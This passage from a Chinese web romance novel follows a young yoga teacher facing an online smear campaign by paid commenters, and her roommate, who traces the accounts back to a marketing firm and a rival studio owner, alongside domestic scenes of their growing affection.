众人你一言我一语，可把顾书杰哄得眉开眼笑，嘚瑟无比，他和这群单身狗可不一样！ 张妮在办公室里走了走，里面都是大老爷们，连查岗都不用。 她打算待一下就走。 顾书杰啃着爱心汉堡，喝着咖啡，顺便把一份放在方寒面前，回头问张妮：“你们馆忙完了？” “没，这才刚刚开始，之后有得忙呢！现在是名声大噪！”张妮说。 方寒不吃汉堡，但他最近喝上咖啡，因为的确提神，他看到张妮走过来，礼貌唤了一句：“嫂子。” 张妮瞥见方寒桌上的保温杯：“咦，你这保温杯，和我们馆里活动送的一样啊。” 方寒喝咖啡的动作顿住，高雯送他的时候就说了，这是馆里开业活动剩的，他每天都会灌满水拿去公司，原先的保温杯已经被闲置，不出意料以后都会用这个。 顾书杰说过，张妮也在附近的瑜伽馆锻炼。 很巧，高雯也在附近。 那么是不是说明——两人在一家？ “赠品啊？”顾书杰笑，“方工勤俭节约。” “什么啊，这个保温杯很贵的，”张妮拿过方寒的杯子看，“当初我为了抽中它，接连报了两期课，结果都没抽中，一个要上千块呢。” 方寒诧异地抬头。 这个贵？ “一个破杯子？上千块？”顾书杰瞪大眼，“抢劫呢？” 张妮：“对啊，大家都想要，没抽中我气了几天！” 听言，方寒瞳孔猛地微微张，握着鼠标的手收紧。 她的意思，是很珍贵吗？一点都不像高雯说的，大家都有，所以顺手给他拿了一个。 方寒呼吸开始有些乱了节奏，心跳不断加速。 “不气不气，我们再买，买几个！”顾书杰立刻说。 张妮：“意义不一样！” 顾书杰无奈：“这有什么不一样的？” “你不懂我！”张妮说着，伸手打了凑过来的顾书杰，“我最近好烦，好不容易爆火了个视频，评论底下总是有些恶臭视频，随便造谣污蔑。” “人家今天又怎么污蔑你的偶像雯雯老师了？”顾书杰打趣。 “太可恶了，居然说她没有教学资质，是炒作想红想疯了，说她这个人不会教，没师德没礼貌，胡说八道的人一辈子发不了财！” “要是被我知道是谁，她就死定了。” “肯定是羡慕妒忌，红眼病！雯雯把我教得多好，贼厉害好吗？” 张妮说的时候，咬牙切齿，恨不得把那些人骂祖宗十八代，还不忘掏出手机对线黑粉，甚至对顾书杰道：“我恨不得让你把他们的号全黑了，给他们都开盒了挂网上！” “可别，老婆，我真的很忙啊。”顾书杰说完就道，“我哪有那本事啊？我又不是黑客。” 自从开了公司，他就主要对外走业务，专业技能远不如方寒他们了。 “大笨蛋。”张妮嘀咕。 顾书杰：“是是是。” 两人日常斗嘴，把办公室其他人逗得哈哈笑，只当秀恩爱在看。 当老婆奴有什么不好？他们这群单身狗半夜在加班，狗都不搭理。 方寒望着屏幕，大家都以为他在认真工作，实则有些失神，他的手心甚至都是汗。 张妮离开没多久，方寒就找借口提前回去了。 方寒回去后，客厅黑暗，他没第一时间开灯，而是习惯性瞥向高雯的房门。 门缝底下没灯光，她还没回来。 方寒这才伸手打开灯，坐在沙发上。 他平日里不用短视频，下载后，根据张妮透露的信息，找到附近瑜伽馆，一一查看视频号，没一会，就找到了高雯的那个视频。 方寒看不清脸，一眼就知道是她。 百万点赞，评论超十万，应该算火了。 方寒点开评论，刚要查看，门口就传来声音。 他连忙退出，把手机放在一边。 高雯走了进来，看到方寒坐在沙发上，身子直挺挺的，她有些疑惑：“学长，你在干嘛？” 平日里，他要么在厨房，要么就坐在餐桌加班，此时就这么干坐在沙发上，神色还有些奇奇怪怪，手机都被丢到一边。 不知道是不是高雯的错觉，她怎么感觉方寒有点像做错事被抓包？ 方寒眼神避开她，清了清嗓音，低声道：“刚加班回来，缓一缓。” “这样啊——”这个理由在高雯看来，非常合理，加班狗都是被榨干了，她点了点头，“辛苦了。” “我回房了，你也早点睡。”高雯笑着说，往自己的房门走。 “嗯。”方寒抿唇，望着她的背影，想到那个保温杯，手指蜷缩，喉结止不住上下滚动，眼神都变了变。 “对了！”高雯止住脚步，突然转身。 方寒的心在霎那间漏了一拍，呼吸都屏住了，生怕被她发现异样。 高雯没看他，只是往回走两步，打开了自己的书包，笑着伸手往里面掏了掏，声线清甜问他：“学长，你饿不饿？” 方寒刚想说不饿，见她的动作，又把话咽下去。 “蛋糕，”高雯从书包里小心翼翼拿出一块打包着的榴莲千层，俯身放在方寒手边，她说完又道，“对了，还有——” 她再一次伸手掏了掏，从里面拿出一盒巧克力，放在旁边，绽开笑颜道：“这个很好吃，给你拿回来尝尝。” 方寒并不喜欢吃甜品和甜食，她拿回来的又不一样，算得上惊喜，他拿起蛋糕和巧克力，眉眼带着压抑不住的愉悦之喜：“谢谢。” “不客气，馆里每天都很忙，可能是担心我们体力不支，每天都会发。你要是喜欢吃，我的那一份，以后都拿回来给你了。”高雯说着打了哈欠，神色有了些困意，重新往房门走，随手摆了摆手，“晚安，祝你做个好梦。” “晚安。”方寒说完，望着那扇关了的门，挑着眼尾笑得很温柔。 与此同时。 姜舒妍来林珩的办公室给他送晚餐。 没了林思悦做润滑剂，又没名正言顺的名分，她最近和林珩接触都变少了，只能不断找机会。 林珩在忙工作，让她放在一边。 姜舒妍没多言，默默坐在一旁的沙发等，十分善解人意，顺便偷偷打量林珩。 努力工作的男人总是带着致命的吸引力，再过两年，林珩就会出去创业，到时候一飞冲天，创办自己的公司，她就是总裁夫人，享受一辈子荣华富贵。 林珩深情又专一，除了顾家就是赚钱，她只需要负责拿着黑卡买买买，享受生活。到时候再把两人的爱情生活发到网上，不用营销她都是千万级网红。 到时候，她不费丝毫力气，就可以过让人仰望羡慕的人生。 林珩看着脸色不断变幻，偷偷在傻笑的姜舒妍，眉头蹙紧，内心升起一股烦躁，他起身往外走。 “阿珩，你去哪？” “洗手间。” 林珩走后，姜舒妍伸长脖子往外探了探，起身走到他的办公桌。 她用手机拍了几张照片，给闺蜜圈发去，又保存着以后当素材，刚要坐回沙发，就看到林珩放在一旁的手机亮了，还是短视频号的消息提示。 姜舒妍神色倏然收敛，内心带着怀疑，根据记忆，手绘解锁了林珩的手机。 点开消息提示。 在此之前，有疑心病的姜舒妍以为林珩顶多在网上勾搭女主播，毕竟勾搭她的大哥不少，结果看到他评论关注的视频，让姜舒妍脸色骤变。 高雯。 又是高雯！ 姜舒妍听到林珩的脚步声，慌忙退出，小跑回沙发上，气得发抖的手怎么都稳不住。 高雯明明就是一个无脑炮灰女配，一个破实习生。 林思悦厌恶她，林珩反感她才对。 在剧情里，高雯除了长得好看，就是一个一无是处的人，没家境没背景，又从小地方来，只有向上爬的不择手段和贪慕虚荣的野心，就像小丑一样，她根本就没放在眼里。 可如今，高雯怎么突然变成一个瑜伽教练，还混得很不错，林思悦喜欢她也就罢了，就连林珩都偷偷关注她，怎么会这样？！ 姜舒妍内心的危机感四起，一切似乎在脱离她的掌控，让她惶恐不安。 * 次日。 高雯一早醒来，就去了瑜伽馆上早课。 原本满课的会员，只来了三个。 整个上课期间，有个会员还看着高雯，有些欲言不止，上课不断走神，动作马马虎虎，不太想练，抗拒得很明显，高雯没强求，只能当没察觉。 下课后，张妮连忙走进来，对着急高雯道：“雯雯，你先别出去，今天尽量待在教室里。” 她神色慌张，还有些方寸大乱，显然出现了她没有办法处理的场面。 “怎么了？”高雯问，“发生什么事了？” “没事，没事，你就上你的课，剩下的事情我们会处理。”张妮摇头，忍着没和她说太多，转身就出去了。 第二节课的会员只有两个，这是之前从来没出现过的情况。 高雯早上的第三节课本来是大课，徐眉跟她说取消了，换其他老师上。 她就是再迟钝，也发现问题，但她不着急，就在教室里做自我训练。 这几天太忙了，高雯只能在早上起来锻炼一个小时，正好有时间自我锻炼，休息休息，她不太想被干扰情绪。 高雯做了一组训练，停下后正好发现手机亮起，她拿过来看，见是方寒的消息。 方寒：【在忙吗？】 高雯：【没。】 方寒：【没上课了吗？】 高雯：【发生什么事了？连你都知道了？】 方寒沉默。 高雯对于大家的反应，或多或少猜到是哪方面。 最近步子迈太快，很容易树大招风。 方寒平时不会无缘无故硬找话题和她聊天，也可能是她太敏锐，从字里行间就发现了他的不对劲。 事情比高雯预料的还要糟糕一点。 前几天是小打小闹的负面消息，稍稍用水军和投流量就能压下去。 昨天晚上半夜，不知道为什么，负面消息直接大面积袭来，各种营销号和博主相继转发文章：《爆料！某网红瑜伽老师营销人设，实则为行业内被淘汰解雇的边缘老师》 该文章不仅被大量转发，而且文章中还有理有据，引用各种图片“事实”，试图说明高雯业务能力不强，营销手段第一名，实则是草包，还在试图毁掉瑜伽这一行的名声。 会员们要警惕被骗，小心受伤。 文章的结尾，还附带“她”把会员压断腿的动图，看得让人头皮发麻。 有图有真相。 网友直接一边倒。 前几天打电话预约的网友，现在纷纷取消课，还要求退款。 网上骂声一片。 馆里乱成一团，林思悦哪见过这阵势，气得直哭。 大家最关心的当事人高雯，反倒是脸色平静，她只是对徐眉道：“网友跟风太厉害，要求退钱的会员，先把钱退了，那么多课，我也上不完啊，正好能减少一些。” 这段时间，馆里推出高雯的小课，比通用课程贵一些。 来了好几百个会员，一节课就五个人，她是真上不过来，趁机筛选一波也好。 “我知道，你要不要休息几天？”徐眉问高雯。 高雯摇头，面色如常：“我不会影响状态，课正常排就好，只要会员来就开课。” 馆里的每一个人都面色凝重，那些老师也怕被牵连，战战兢兢。 高雯则像这件事没发生一样，照常上课，小班课程只要有两个会员来了，就能上课。 她来馆里这么久，有自己的基本盘，梵盈瑜伽馆来的一些老会员也只跟着她，好些都是退休的大妈，她们不上网，也不知道这些事。 听闻之后，大妈只是慢悠悠做着瑜伽动作，不屑哼上一声：“你专不专业，我还不知道啊？人少点也好，不然我都约不上课，前几天乌压压都是人，吵死了。” 高雯柔声提醒：“吸气——呼——” 她说着手上一用力，大妈疼得冷汗直冒，“你是真舍得用劲儿啊，负责任得很，不受影响就好。” 高雯笑：“您放心吧，不会。” 大妈已经有自己的打算：“这几天我得多约课，人一多，你都照看不过来，你又不开私教。一群妖魔鬼怪作乱。” * 方寒一整天都心不在焉，非常担忧高雯。 他一下班，就赶回去了。 高雯还没回来。 顾书杰给方寒打了电话，有些急事需要他处理，等他回房处理后，洗个澡再出来，高雯不知道什么时候已经回来，正坐在餐桌上神情专注看电脑，连他走出来都不知道。 方寒没打扰她，小心翼翼观察她的神色。 高雯回头，看到方寒，见他面色沉重，勾唇笑开，话语轻松道：“你不用担心我，我知道该怎么做。” 她是笑了，方寒悬着的心却没放下半分，他走到她身边，问道：“有什么是我能帮上忙的吗？” 昨天晚上，方寒在睡觉前还刷了下评论，虽然有不太友好的，但总体还好，大部分都是夸她厉害，他看得心里暖暖。 今天去公司，风向一下就变了，就连办公室里的女同事，都会讨论这个话题，说她就是营销，不可信。 方寒知道高雯有多努力，所以才替她愤愤不平又着急。 说到底，她不过是一个还没毕业的学生，年龄比他都小几岁，不应该承受这样的恶意。 高雯听方寒这么一说，撑着下巴的手收起来，认真看向他：“学长，我还有件事想请你帮忙。” 她的话音未落，方寒立即道：“你说。” “我研究了评论区，整理出一些账户资料，我需要你帮我查一下他们的ID，我想确认一下是不是有组织的预谋。”高雯说。 方寒：“可以，你把资料发我 ，我现在帮你查。” “你吃饭了吗？”高雯话锋一转。 “没。”方寒摇头，反过来关心问，“你吃饭了吗？” 高雯摇头，合上电脑笑道：“先吃饭吧，有什么事比吃饭更重要呢？对吧？” 方寒有些被她乐观的情绪感染，跟着扯了扯唇角：“我今天回来的时候忘记去超市，家里没有菜，你想吃什么？我现在去买。” 高雯起身笑道：“一起吧。” “好。” 第24章 第24章 醒醒，那好像就是高雯！ 超市内。 方寒推着购物车, 高雯与他并肩而行。 看着琳琅满目的商品，她左看看右瞧瞧，时不时拿起来研究两眼, 然后再轻轻放回去。 晚上的超市和早上一样热闹, 不同的是多数是下班的年轻人。 高雯看着人来人往，大家的步伐和他们一样休闲, 在仔细认真的挑选着自己想要的商品。 这样的时刻，在她人生中的是少有的。 高雯总是很忙，忙于学习、忙于锻炼、忙于提升自己、忙于睡美容觉, 她从未有这样的时候，优哉游哉在超市里行走, 对比价格、对比品牌，再选上自己满意的商品。 两人走到蔬菜水果区时, 空气中都是泥土清香, 大家都拿着袋子, 低头挑选瓜果蔬菜。 那一刻，时间好像放慢了, 带了些人间烟火气。 在高雯的认知里, 她这么努力，以后要过的生活, 一定是光鲜亮丽, 这些都与她无关。 她总觉得，这里是嘈杂、脏乱、带着斤斤计较和讨价还价，但并非如此, 每个人脸上都带着从容笑意。 “想吃花菜炒肉吗？”方寒温声出言。 高雯望过去，方寒的手上拿着一颗新鲜的大花菜，看着不错。 她能想到炒出来爽口的花菜配上嫩滑的肉片, 口感一定很好，唇角不自觉扬起：“好啊。” 方寒笑着把花菜放在购物车里，推着往里走。 他们相继买了排骨、瘦肉、香菇、胡萝卜、生姜 高雯看着工作人员刚倒出来的一大筐土豆，挑起最大的一个：“这个大，看着就新鲜。” “那就要这个。”方寒打开袋子，看着她细白手指上沾上的泥土，笑着从旁边抽出一张纸巾递给她，“擦擦。” 高雯并不着急，而是拿起拿起一大根“葱”：“这是什么？” “莴笋，”方寒解释，“把叶子和外皮削了，留下的部分就可以切片炒了吃，拿一根吧，炒肉片很好吃。” “好。”高雯笑着放进购物车。 绕过蔬菜区，里面就是生鲜区，空气中迎面扑来就是一股腥味。 大冰柜里是各种各样的冻品，鲜活的各种鱼虾在玻璃缸里游动，高雯看着各种虾类，她喜欢吃虾。 “买点虾。”她指着虾对方寒。 “嗯，”方寒指了指里面，“那种野生的好吃。” 高雯一看价格，眨巴眨巴眼，还以为看错了小数点。 方寒让工作人员捞出一斤上称，装水打了氧放在购物车里，高雯还凑过去认真看了眼价格，她真的没看错。 这么贵啊？！ 生鲜区潮湿冰冷，方寒并不打算让高雯久待，买了小半袋鸡翅后，就带她出来了。 “你还有什么想买的吗？”他侧头问她。 高雯看了眼熙攘的人群，轻声道：“逛逛看看吧。” 她想再走走。 “好，我们再逛逛。”方寒并不着急回去，放慢脚步，和高雯沿着超市，慢慢逛。 逛超市的过程很神奇，分明不需要那么多东西，逛着逛着，各种小玩意就往购物车里堆放，变成了这个需要，那个也需要。 高雯随手往里放一袋小纸巾，眼看要掉下来，方寒连忙伸手接住。 她回头一看，购物车已经被装得满满当当。 高雯：“” 她拿了这么多吗？ “好不容易出来逛一趟，能多买点就多买点。”方寒并未阻止她，而是笑着这么说。 高雯看着那一车的东西，也忍不住笑了。 不知道为什么，选购的过程很治愈，她的心情都跟着好了很多。 “就这么多，够了，我们回去吧，不然一会煮好饭都赶上吃夜宵了。”高雯说着往收银台走。 大部分东西是她买的，当然是她结账。 方寒跟在后面，高雯往前走了几步，发现他没跟上来，回头去看，见方寒站在一排排糖果面前。 “你要买糖果吗？”高雯折回来问。 方寒清澈温和眸眼看向她问：“你喜欢吃哪一个？” 高雯快速接话：“我不喜欢吃糖果。” 方寒没反驳，而是把一小瓶彩虹糖递到她面前，眉眼带着极浅又温柔的笑。 高雯突然想起那天晚上他说的：吃甜食会让人心情变好。 她低头轻轻绽开笑颜，从他手中接过那小瓶彩虹糖，眉眼弯弯道：“好吧。” 话落，高雯转身，把手扶在购物车上，和方寒一起往收银台走。 她本来是要结账的，方寒拿出了一张购物券。 “你们公司又发购物券了？”高雯诧异问。 方寒笑：“之前发的，没用完，正好用了。” * 两人从商场出来，方寒提着两大袋，高雯提着很轻的一袋，一出门口，就遇到老奶奶在卖花。 高雯脚步慢慢停下来。 她有买鲜花的习惯，最近很忙，很久没买了。 高雯蹲下来，挑选了一捧鲜花，看着明艳璀璨的花朵，她眼底的笑意陡然加深，扭头对方寒声线清甜道：“走吧，回家了。” “嗯。” 回到家后，高雯原本要进厨房帮忙，被方寒“请”了出来。 厨房算不上大，两个人有些拥挤，她有些笨拙，进去反而是添乱了。 高雯在客厅忙着修剪鲜花，研究怎么插得最好看，方寒在灶台前忙碌，他偶尔会回头，看着修剪枝叶的她，眉梢带着愉悦温柔。 两人并没有什么交流，许菲却在一进来的时候，感受到了莫名的温馨，她的视线在两人身上流转。 “许菲姐，一会一起吃饭吗？”高雯邀请。 “不了，我吃过了。”许菲连忙拒绝，都不忍心破坏这一刻的美好。 高雯把修剪好的一束鲜花给她，笑着道：“送你的，希望你有个好心情。” “谢谢。”许菲身上的牛马戾气都消散了不少，小心翼翼捧着鲜花进了她的房间，关门前留下一句，“你们两个也是哈。” 高雯：“会的。” 方寒则探出头，他不想和许菲过多接触，保不住对方会说出什么雷人的话，他只是道：“饭菜我会放在冰箱里，你明天记得拿。” 他习惯每次做饭给许菲留一份，反正吃不完。 许菲听着方寒说的话，看着手里高雯给的鲜花，真的是被感动了。 没有他们，她可要怎么办啊？ 这要是在一起了，保不准就搬走了。 真是让人纠结。 方寒的厨艺很不错，四菜一汤很快出锅。 美味的食物也能让人变开心，高雯吃得心满意足。 饭后，两人才开始工作。 方寒拿出电脑，按照高雯收集到的资料，一一开始查询，客厅内，只有他的手指飞快在键盘上敲打的声音。 高雯的右手边放着一本本康复学的书籍，她的面前也放着一台电脑，正在极其专注忙着自己的事情。 期间，方寒起身热了两杯牛奶，把其中一杯放在高雯面前。 “谢谢。”高雯正翻阅资料，没抬头。 方寒重新坐在椅子上，趁着喝牛奶的间隙，目光落在身旁之人身上。 高雯做事带着一股认真的劲儿，全神贯注，好像周围的一切都与她无关，她只专注于提升自己，像海绵一样吸取知识。 这是方寒对她一直以来的认识。 以前，顾书杰的公司在校园附近的写字楼，方寒每个周末都会去兼职，他几乎每个星期，都能看到高雯穿着运动服，拎着小背包，活力满满出现在楼下的身影。 方寒后来摸清楚她的运动轨迹，上午会去瑜伽馆健身房，下午则会在图书馆。从此，他就多了一个固定行程，每周末的下午，都会出现在图书馆。 高雯两耳不闻窗外事，他们都曾经面对面坐了好多次，她一心沉迷于书本中，全然没发现他。 两人正式有交集，那都是快一个学期后的事情了。 高雯合上书本，伸手拿起牛奶。 方寒快速收回视线，看着自己的电脑，假装在忙。 论熬夜，一向都准时睡美容觉的高雯哪比得上方寒。 十点一过，她必犯困，喝牛奶并不能醒神，反而更困了。 凌晨十二点，高雯那头安静了，她双手垫在桌子上趴着，起初只是想眯一会，结果睡沉了。 方寒的动作停下，黑眸注视着入睡的那张娇俏面容。 许久后，他情不自禁把手抬起来，宽大的手掌往她头顶伸去，他心如擂鼓，甚至都屏住了呼吸。 慢慢、慢慢的，把手掌覆在她的头顶，安抚性的轻轻拍了拍。 他知道，这件事让她受委屈了。 * 次日。 高雯开门往外走，方寒在厨房准备早餐。 见她已经收拾妥当要出门，他走出来道：“很着急去上班吗？要不要一起吃个早餐，我顺便把昨天查到的线索和你说一下。” 高雯看了看时间，也还早，她点了点头：“好。” 方寒把熬好的粥端出来，他今天熬了血糯米黑豆杂粮粥，也给高雯买了她早上吃的全麦面包还有水煮蛋。 “有点烫。”他把粥放在她面前后提醒。 “嗯。”高雯浅尝了一口，冲他竖起了大拇指，“好吃！” 方寒笑，随即开口道：“我昨天把你给我提供的账号全部进行了追踪，他们的确是有组织有预谋的恶意抹黑，大量账户共享一个ID，这是典型水军的特征。” 高雯点头回应，继续慢条斯理小口喝粥。 方寒：“这种超过几百个账户集中攻击的行为，是团队所为，根据ID锁定和排查，他们背后有一家营销公司，叫盛夏网络营销有限公司，你知道吗？” “不知道。”高雯吃着水煮蛋，“这家公司应该是收钱办事，能查到背后的人吗？” 方寒摇头：“目前能查到线索就只有这么多，我一会再看看能不能有新的线索，你有没有得罪什么人？” 高雯：“商场楼上有一家梵盈瑜伽馆，我离职的时候，和馆长闹过不太愉快，我看评论里有不少条是把我和她们扯在一起，我把她们的视频账号和馆长的资料发给你，你帮我查一下，她们和这件事有没有关联。” “行。” “先这样？”高雯看了看方寒面前粥，含着笑道，“吃早餐吧。” 方寒见她眉眼舒展，神色还好，内心的焦灼减缓，点了点头，“好。” 经过一天，网络上的水军非但没减少，反而有增加趋势。 发酵后，恶评如潮水般袭来，今天退款的会员更多了。 徐眉二话没说，赶紧就把钱退了。 这群跟风而来的祖宗也不是她们服务的对象，还惹得一身骚，只想赶紧请走。 高雯刚下一节课，去洗手间的时候，看到林思悦红着眼坐在沙发上。 “怎么了？”高雯走过去，语气关切问。 林思悦比高雯小几个月，估计家里比较娇生惯养，看着有些幼稚，但没坏心眼，她一直都把她当小妹妹。 “没事，”林思悦摇头。 “都哭了还没事？”高雯坐在她旁边，“你们一个个都这么忙，事情的进展也没人告诉我啊，你就和我说说吧。” 林思悦原本还嘴硬，耐不住高雯三两句忽悠，就全说了， 不等方寒调查梵盈瑜伽馆，她们的馆长就迫不及待出头，在今天早上接受了采访。言语中模棱两可承认高雯的确是她们的兼职老师，并且还说她没什么资历，因为先天条件好，想要出名很正常。他们是十年老馆了，思考再三还是终止了合作。 对于高雯的爆火，她表示很诧异。 该馆长字字句句没明说，但都在暗指高雯就是一个长得还行，能力不怎么样的老师，为了出名在炒作。 而且，也没什么资历。 林思悦气冲冲拿着手机给高雯看：“她真的太过分了，这是想吃人血馒头吗？” 高雯的教学水平怎么样，馆里人都知道，但网友现在是一边倒，馆里很多都是老会员了，发声也争不过年轻人。 徐眉更是脱离网络，面对这种事情很懵，有些方寸大乱。 “前段时间，你和张妮姐一个视频那么猛，都把客源抢光了，把她们逼得狗急跳墙也不是不可能对吧？”高雯倒是很淡定，她还轻笑道，“你可别中计了，被她们知道，还不得乐呵死？” “那要怎么办？他们不知道从哪找的水军，”林思悦说完，低头嘟囔道，“我骂了一夜都骂不赢。” “再看看吧，让子弹飞一会。别太担忧，好好睡觉。”高雯拍了拍林思悦的肩头，起身道，“你跟眉姐说一声，下午一点半也可以给我排一节课，我先去上课咯。” 林思悦看着高雯纤细挺直的背影，她好像从未因为这件事，有过半分忐忑不安，永远淡定优雅，带着不符合这个年纪的成熟理性。 这样显得她很幼稚，林思悦伸手擦了擦眼泪，吸了气，咬着牙小声对自己道：“没什么大不了，等着吧，我们才不会被打倒！” 高雯回到教室，俯身在垫子上开胯，还不忘拿着手机将梵盈瑜伽馆参与的视频发给方寒。 方寒很快回：【我看到了。】 方寒：【图片】 方寒：【图片】 方寒：【图片】 他接连发了几张图片，最后道：【这几个都是章桂娟的小号，她的评论点赞很高，很有嫌疑。】 高雯看着评论的时间，打着字：【半夜三点半还在评论？看来她比我还焦虑，真是为难她了。】 方寒看着她半开玩笑的回复，一点都笑不起来。 他在深思时，手机突然想起来。 一看是高雯打来的电话，他第一时间接起来，拿着手机往外走。 高雯：“学长，你能拿到那个营销公司的联系方式吗？” 方寒虽然不知道她要做什么，但还是点了点头：“查一下，应该可以。” 高雯：“这样啊，你帮我查一下。我想到了一个办法，回去再和你商量，好不好？” 寂静的楼梯间，高雯绵软清甜的声音在回荡，方寒放在膝盖上的手不自觉收了收，喉结跟着耸动，声线低哑回：“好。” “会员来了，我要上课了，”高雯嗓音突然压低，“我今天早点回去，拜拜~~~” 挂掉电话后，方寒坐在楼梯间缓了好一会。 直到听到脚步声，他才推门走回去。 坐在工位上的方寒有些懊悔，刚刚忘记问了，她晚上想吃什么？ * 网上的风波愈演愈烈。 语禾瑜伽馆和高雯深陷舆论旋涡时，梵盈瑜伽馆一改往日的萧条，报名火热。 馆长看着店里来来往往的会员，这段时间黑着脸终于出现了笑意，她走到前台问：“今天的预约怎么样？” “接下来三天都约满了。”前台说。 “签几单了？”馆长又问。 前台：“今天早上成交八单，还有好几单在谈。” “不错，好好干，这个月的奖金少不了。”馆长笑得面容和蔼。 前台看着对方的笑意，心里有些发毛。 高雯的事情，她们都知道，馆长模棱两可的说法，实际上就是在火上浇油，这不是落井下石吗？ 这段时间，梵盈馆里几乎都没新会员，更别说离开的老会员，据说很多都去了语禾，因为排不上课，老师都走了不少。 照这样下去，估计今年就要关门大吉。 结果因为一个采访视频，又莫名起死回生了。 梵盈的馆长在数钱的同时，一点都不忘时刻关注高雯。 面对这么大的风波和网暴，高雯到底只是个二十岁出头的小姑娘，她原以为对方会哭鼻子，甚至灰溜溜躲起来不见人。 没想到高雯照常来上课，看着传出来的课表，馆长脸色再一次沉了沉。 这群人可真不怕死。 高雯的名声都被黑成这样了，每天还有那么多人来找她上课，中午的一点半和晚上九点半都被排了课，还有人去上。 馆长拿起手机，拨打了个电话，接通后张口道：“我要继续买流量和水军，提高热度。” “现在的热度不够吗？”那头问。 馆长咬着牙道：“我走的是一步险棋，我要的不是她名声受损，我要她彻底退出这一行，彻底在这一行消失，臭名昭著！” 唯有这样，才能让她狠狠出一口气。 高雯的辞职不仅狠狠打了她的脸，挖走她的老会员，让她成为会员口中的笑话，还险些让她的馆面临破产。 被一个小姑娘拿捏，简直就是耻辱，她不服气！ 电话那头犹豫沉默。 “如果不这样做，她很快就能恢复名声，照样过得光鲜亮丽，风生水起。”馆长到底是老油条，十分笃定道，“高雯的天资和身材很好，那张脸可是很少见，又是名校毕业，一看就是勾引男人的料，如果加上事业有成，什么样的男人都能被她拿下。” 她太清楚了，一个女人针对一个女人，很大程度就是感情那点事儿，也就是争男人。只有没有底气，没有自信的女人，才会想到先把对方拉下去。 那一头很快道：“行了，我现在就把钱打给你。” * 语禾瑜伽馆的那个视频，本来已经有些下降的热度，突然又被顶上热搜。 点赞都超过了四百万。 高雯的学历也是一个大话题，一个A大未毕业的学生，都还没出来工作，就已经在营销人设，她的身份存疑。 不少人开始纷纷道： 【人设而已，树立学霸人设，说不定就是一个小太妹。】 【想当网红想疯了吧？都碰瓷上A大了，没人来辟谣吗？】 【这件事怎么处理的？怎么也没后续了？这家瑜伽馆还能开下去，大家都有责任啊，三天之内不倒闭，都是在座各位的错！】 【这样的人都能出来圈钱了，简直是给瑜伽圈抹黑，她居然还在上课，瑜伽馆在赚黑心钱，希望倒闭！】 在水军的引导下，网友由对高雯个人的攻击，转为对语禾瑜伽馆的攻击，那股阵势，带着瑜伽馆不倒闭不关门，他们就不罢休的阵势。 有人提议，附近的网友可以上门去堵门，不能让她们过得太自在。 舆论和攻击达到巅峰时，还真有人去了，甚至开启了现场直播，想要蹭一波流量。 她们到达瑜伽馆门口，刚打开直播，直播间瞬间涌入两万人，大家都在看热闹。 在镜头里，突然出现一道窈窕纤瘦的身影，她身上穿着一套奶杏色假两件瑜伽服，身材凹凸有致，小腹平坦，双腿笔直纤细，入镜头的那张脸娇艳动人，肌肤红润白皙，胜似白玉般无暇。 她一出口，笑得明媚，声线软糯清甜：“来者是客，你们要进来喝杯茶吗？” 网友都愣了愣。 直播间里更是炸开了： 【哇靠，这高雅的气质，绝了绝了！！！】 【大美女啊。】 【妈呀，突然被迷住，我一个女的都沦陷了，她长得好好看啊。女神女神女神！】 有人回过神，开始刷屏提醒：【醒醒，那好像就是高雯！】 啥？ 与此同时，语禾瑜伽馆发了最近的视频，封面上就是他们刚刚看到的人，顶着她干净清丽的脸，笑得明艳张扬。 视频标题：《如何科学康复颈椎，浅谈新手瑜伽人避坑指南》 上面还标注着直播时间，就在今天晚上八点。 第25章 第25章 她不好，他值得更好的人。…… 视频中, 灯光昏暗，只能看出高雯的身体线条好，动作有美感。 网友哪能想到, 她的脸长得白嫩精巧, 水灵动人。 一出场，气质绝了。 而且高雯脸上带着淡笑, 嗓音温软动听如含了蜜糖，还很有礼貌，态度极好。 别说网友, 就连在现场的两个来堵门的主播，顿时都没了戾气, 被请到休息室喝茶了。 高雯端来了两杯茶，放在她们面前：“今天煮了陈皮玫瑰花茶, 多喝对皮肤有好处。” “这个好。”主播一听, 捧起来就喝。 另一个主播看着坐在她们对面的高雯, 上下打量着她，眼底出现羡慕和欣赏。 高雯被林思悦叫出去的时候, 主播对着还没下播的手机, 压低声音万分为难尴尬：“家人们，本人太美太有气质, 我是真没法喷啊, 她看起来好像真可能有点东西。” 直播间早已经炸开。 身材好也就算了，那张脸是要迷死谁？他们都感觉自己一下变得仁慈了。 主播还没和网友聊几句，高雯就折回来了, 她站在门口歉意道：“我今天满课，暂时不能接受采访，如果你们有兴趣的话, 可以作为学员参加八点的直播，主要是肩颈康复课程。” “我一会七点半才下课。” “没关系没关系，我们也没什么大事。” 高雯这话，把两位主播都说惭愧了，不自然挠了挠头。 她们原本是想来看看这位“臭名昭著”的瑜伽老师到底是什么样，想要蹭点流量，结果人家很有礼貌，还主动邀请她们参加直播。 高雯现在的流量这么大，直播热度肯定不低，她们当然会参加，再说了，肩颈康复，现在的人谁没点肩颈问题？ 等待的时间，对于两位主播来说，那叫一个难熬。 网友也等得抓心挠肝，语禾瑜伽馆今天才置顶的那个视频，点赞量分分钟几十万，粉丝也一路猛涨。 两个主播还刻意观察，高雯今天的确是满课，傍晚七点半才下课。 她刚下课就来准备直播的事情。 很明显，高雯并不熟练，还虚心向两位主播请教了一番。 两位主播相当热情，换上高雯准备的瑜伽服后，瞬间就变成团队的其中一员了，融入得一点都不违和。 高雯和她们交谈的时候，手机亮了亮。 她低头一看，拿着手机走到一边。 看着消息，高雯含笑飞快打字，然后点击发送。 正在顾书杰公司加班的方寒就收到了。 高雯：【放心吧，没什么问题，我做足了准备的。】 高雯：【马上要开始直播了，我先不和你说了。】 方寒：【好。我也先忙。】 高雯那头没再回消息。 方寒坐在工位上，看着电脑有些失神。 顾书杰啃着汉堡走过来，将手中的汉堡递给方寒：“怎么回事？看着心不在焉的。” 方寒婉拒：“没事。” “新口味的汉堡，你不吃吗？”顾书杰再一次尝试说服他。 方寒摇头。 他没什么胃口，这几天都比较焦灼。 “一个两个都怎么回事，你嫂子也是，这几天唉声叹气，还失眠，又是那个瑜伽馆的事情，就是一份赚钱的工作，有什么好想的？”顾书杰吃掉最后一口，再一次问方寒，“真不吃啊？” “不了。”方寒拿着手机，紧盯着时间。 顾书杰坐在他旁边，又打开一个汉堡，大口大口吃起来：“你们京爷是吃腻这东西了，我可是二十二岁，上了大学，去给你嫂子补课，她送了我个汉堡，这个汉堡就把我收买了，现在还心甘情愿赚钱给她花。” 这个故事，方寒听过无数次。 他回头看了眼顾书杰，示意对方可以去忙了。 